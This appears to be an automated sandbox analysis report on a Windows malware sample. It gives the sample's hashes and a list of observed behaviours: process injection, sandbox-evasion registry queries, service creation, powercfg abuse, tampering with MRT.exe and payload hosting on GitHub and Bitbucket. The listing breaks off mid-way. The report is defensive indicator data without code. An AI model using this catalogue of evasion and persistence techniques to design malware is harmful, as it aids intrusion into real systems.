Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system - submitted
17/11/2024, 15:47
Static task
static1
Behavioral task
behavioral1
Sample
9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe
Resource
win10v2004-20241007-en
General
- Target 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe
- Size 6.8MB
- Sample241117-s8prqstbpp
- SHA256 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6
- MD5 eeaecc3b9fbf9b4c73121003d75375bb
- SHA1 4ccf75ba953cf9eeef0a682fc9d39e52787288aa
- SHA512 76ee0da02ab562709743a81e03bfaf277446ee2393cbe1e20c967434c85c34756031680283cfd0c356538494adbb158a01200c7749568cab0c5a59267faf6650
- SSDEEP 196608:3P+jtixYCSOXEwnExyzjbDFAswiaJxvmk0D:3P+8xlreujbRA7/xe
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 2964 created 612 2964 powershell.EXE 5 PID 4516 created 612 4516 powershell.EXE 5 -
pid Process 2964 powershell.EXE 4516 powershell.EXE 4632 powershell.exe 212 powershell.exe - Creates new service(s) 2 TTPs
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe - Executes dropped EXE 1 IoCs
pid Process 1340 kuytqawknxye.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
flow ioc 28 raw.githubusercontent.com 29 raw.githubusercontent.com 24 bitbucket.org 25 bitbucket.org - Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 3304 powercfg.exe 4916 powercfg.exe 1936 powercfg.exe 3392 powercfg.exe 2884 powercfg.exe 392 powercfg.exe 4824 powercfg.exe 5016 powercfg.exe - Drops file in System32 directory 18 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe kuytqawknxye.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\MRT.exe 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe File opened for modification C:\Windows\System32\Tasks\dialersvc64 svchost.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
pid Process 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 1340 kuytqawknxye.exe 1340 kuytqawknxye.exe - Suspicious use of SetThreadContext 5 IoCs
description pid Process procid_target PID 3896 set thread context of 536 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 114 PID 2964 set thread context of 1740 2964 powershell.EXE 130 PID 1340 set thread context of 552 1340 kuytqawknxye.exe 150 PID 1340 set thread context of 4128 1340 kuytqawknxye.exe 153 PID 4516 set thread context of 4620 4516 powershell.EXE 158 - Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 452 sc.exe 3844 sc.exe 1648 sc.exe 2136 sc.exe 4356 sc.exe 1408 sc.exe 2080 sc.exe 3960 sc.exe 788 sc.exe 2044 sc.exe 2300 sc.exe 5008 sc.exe 4736 sc.exe 4728 sc.exe - Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe - Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe - Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 17 Nov 2024 15:49:36 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1731858575" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 212 powershell.exe 212 powershell.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 2964 powershell.EXE 2964 powershell.EXE 1340 kuytqawknxye.exe 1340 kuytqawknxye.exe 1340 kuytqawknxye.exe 2964 powershell.EXE 4632 powershell.exe 1740 dllhost.exe 1740 dllhost.exe 4632 powershell.exe 1740 dllhost.exe 1740 dllhost.exe 1740 dllhost.exe 1740 dllhost.exe 1740 dllhost.exe 1740 dllhost.exe 1740 dllhost.exe 4632 powershell.exe 1740 dllhost.exe 1740 dllhost.exe 1740 dllhost.exe 1740 dllhost.exe 1340 kuytqawknxye.exe 1340 kuytqawknxye.exe 1340 kuytqawknxye.exe 1340 kuytqawknxye.exe 1340 kuytqawknxye.exe 1740 dllhost.exe 1740 dllhost.exe 1740 dllhost.exe 1340 kuytqawknxye.exe 1340 kuytqawknxye.exe 1340 kuytqawknxye.exe 1340 kuytqawknxye.exe 1340 kuytqawknxye.exe 1340 kuytqawknxye.exe 1740 dllhost.exe 1740 dllhost.exe 1340 kuytqawknxye.exe 1740 dllhost.exe 1740 dllhost.exe 1740 dllhost.exe 1740 dllhost.exe 4516 powershell.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 212 powershell.exe Token: SeShutdownPrivilege 392 powercfg.exe Token: SeCreatePagefilePrivilege 392 powercfg.exe Token: SeShutdownPrivilege 2884 powercfg.exe Token: SeCreatePagefilePrivilege 2884 powercfg.exe Token: SeShutdownPrivilege 3392 powercfg.exe Token: SeCreatePagefilePrivilege 3392 powercfg.exe Token: SeShutdownPrivilege 4824 powercfg.exe Token: SeCreatePagefilePrivilege 4824 powercfg.exe Token: SeDebugPrivilege 2964 powershell.EXE Token: SeDebugPrivilege 2964 powershell.EXE Token: SeDebugPrivilege 4632 powershell.exe Token: SeDebugPrivilege 1740 dllhost.exe Token: SeShutdownPrivilege 3304 powercfg.exe Token: SeCreatePagefilePrivilege 3304 powercfg.exe Token: SeShutdownPrivilege 1936 powercfg.exe Token: SeCreatePagefilePrivilege 1936 powercfg.exe Token: SeShutdownPrivilege 4916 powercfg.exe Token: SeCreatePagefilePrivilege 4916 powercfg.exe Token: SeShutdownPrivilege 5016 powercfg.exe Token: SeCreatePagefilePrivilege 5016 powercfg.exe Token: SeLockMemoryPrivilege 4128 dialer.exe Token: SeDebugPrivilege 4516 powershell.EXE Token: SeAssignPrimaryTokenPrivilege 1716 svchost.exe Token: SeIncreaseQuotaPrivilege 1716 svchost.exe Token: SeSecurityPrivilege 1716 svchost.exe Token: SeTakeOwnershipPrivilege 1716 svchost.exe Token: SeLoadDriverPrivilege 1716 svchost.exe Token: SeSystemtimePrivilege 1716 svchost.exe Token: SeBackupPrivilege 1716 svchost.exe Token: SeRestorePrivilege 1716 svchost.exe Token: SeShutdownPrivilege 1716 svchost.exe Token: SeSystemEnvironmentPrivilege 1716 svchost.exe Token: SeUndockPrivilege 1716 svchost.exe Token: SeManageVolumePrivilege 1716 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1716 svchost.exe Token: SeIncreaseQuotaPrivilege 1716 svchost.exe Token: SeSecurityPrivilege 1716 svchost.exe Token: SeTakeOwnershipPrivilege 1716 svchost.exe Token: SeLoadDriverPrivilege 1716 svchost.exe Token: SeSystemtimePrivilege 1716 svchost.exe Token: SeBackupPrivilege 1716 svchost.exe Token: SeRestorePrivilege 1716 svchost.exe Token: SeShutdownPrivilege 1716 svchost.exe Token: SeSystemEnvironmentPrivilege 1716 svchost.exe Token: SeUndockPrivilege 1716 svchost.exe Token: SeManageVolumePrivilege 1716 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1716 svchost.exe Token: SeIncreaseQuotaPrivilege 1716 svchost.exe Token: SeSecurityPrivilege 1716 svchost.exe Token: SeTakeOwnershipPrivilege 1716 svchost.exe Token: SeLoadDriverPrivilege 1716 svchost.exe Token: SeSystemtimePrivilege 1716 svchost.exe Token: SeBackupPrivilege 1716 svchost.exe Token: SeRestorePrivilege 1716 svchost.exe Token: SeShutdownPrivilege 1716 svchost.exe Token: SeSystemEnvironmentPrivilege 1716 svchost.exe Token: SeUndockPrivilege 1716 svchost.exe Token: SeManageVolumePrivilege 1716 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1716 svchost.exe Token: SeIncreaseQuotaPrivilege 1716 svchost.exe Token: SeSecurityPrivilege 1716 svchost.exe Token: SeTakeOwnershipPrivilege 1716 svchost.exe Token: SeLoadDriverPrivilege 1716 svchost.exe - Suspicious use of UnmapMainImage 1 IoCs
pid Process 3444 Explorer.EXE - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1972 wrote to memory of 4908 1972 cmd.exe 101 PID 1972 wrote to memory of 4908 1972 cmd.exe 101 PID 3896 wrote to memory of 536 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 114 PID 3896 wrote to memory of 536 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 114 PID 3896 wrote to memory of 536 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 114 PID 3896 wrote to memory of 536 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 114 PID 3896 wrote to memory of 536 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 114 PID 3896 wrote to memory of 536 3896 9c321a1be7ac4172b0edfc2b91a41d689e44a4dc8b9931bf40bedfb4f0f5f6d6.exe 114 PID 2964 wrote to memory of 1740 2964 powershell.EXE 130 PID 2964 wrote to memory of 1740 2964 powershell.EXE 130 PID 2964 wrote to memory of 1740 2964 powershell.EXE 130 PID 2964 wrote to memory of 1740 2964 powershell.EXE 130 PID 2964 wrote to memory of 1740 2964 powershell.EXE 130 PID 2964 wrote to memory of 1740 2964 powershell.EXE 130 PID 2964 wrote to memory of 1740 2964 powershell.EXE 130 PID 2964 wrote to memory of 1740 2964 powershell.EXE 130 PID 1740 wrote to memory of 612 1740 dllhost.exe 5 PID 1740 wrote to memory of 672 1740 dllhost.exe 7 PID 1740 wrote to memory of 960 1740 dllhost.exe 12 PID 1740 wrote to memory of 380 1740 dllhost.exe 13 PID 1740 wrote to memory of 740 1740 dllhost.exe 14 PID 1740 wrote to memory of 1004 1740 dllhost.exe 15 PID 1740 wrote to memory of 1088 1740 dllhost.exe 17 PID 1740 wrote to memory of 1104 1740 dllhost.exe 18 PID 1740 wrote to memory of 1168 1740 dllhost.exe 19 PID 1740 wrote to memory of 1184 1740 dllhost.exe 20 PID 1740 wrote to memory of 1300 1740 dllhost.exe 21 PID 1740 wrote to memory of 1316 1740 dllhost.exe 22 PID 1740 wrote to memory of 1388 1740 dllhost.exe 23 PID 1740 wrote to memory of 1456 1740 dllhost.exe 24 PID 1740 wrote to memory of 1500 1740 dllhost.exe 25 PID 1740 wrote to memory of 1512 1740 dllhost.exe 26 PID 1740 wrote to memory of 1520 1740 dllhost.exe 27 PID 1740 wrote to memory of 1636 1740 dllhost.exe 28 PID 1740 wrote to memory of 1680 1740 dllhost.exe 29 PID 1740 wrote to memory of 1720 1740 dllhost.exe 30 PID 1740 wrote to memory of 1792 1740 dllhost.exe 31 PID 1740 wrote to memory of 1812 1740 dllhost.exe 32 PID 1740 wrote to memory of 1920 1740 dllhost.exe 33 PID 1740 wrote to memory of 1976 1740 dllhost.exe 34 PID 1740 wrote to memory of 1984 1740 dllhost.exe 35 PID 1740 wrote to memory of 1132 1740 dllhost.exe 36 PID 1740 wrote to memory of 1716 1740 dllhost.exe 37 PID 1740 wrote to memory of 2108 1740 dllhost.exe 38 PID 1740 wrote to memory of 2212 1740 dllhost.exe 40 PID 1740 wrote to memory of 2328 1740 dllhost.exe 41 PID 1740 wrote to memory of 2416 1740 dllhost.exe 42 PID 1740 wrote to memory of 2424 1740 dllhost.exe 43 PID 1740 wrote to memory of 2616 1740 dllhost.exe 44 PID 1740 wrote to memory of 2660 1740 dllhost.exe 45 PID 1740 wrote to memory of 2700 1740 dllhost.exe 46 PID 1740 wrote to memory of 2712 1740 dllhost.exe 47 PID 1740 wrote to memory of 2728 1740 dllhost.exe 48 PID 1740 wrote to memory of 2940 1740 dllhost.exe 49 PID 1740 wrote to memory of 2956 1740 dllhost.exe 50 PID 1740 wrote to memory of 2980 1740 dllhost.exe 51 PID 1740 wrote to memory of 668 1740 dllhost.exe 52 PID 1740 wrote to memory of 3184 1740 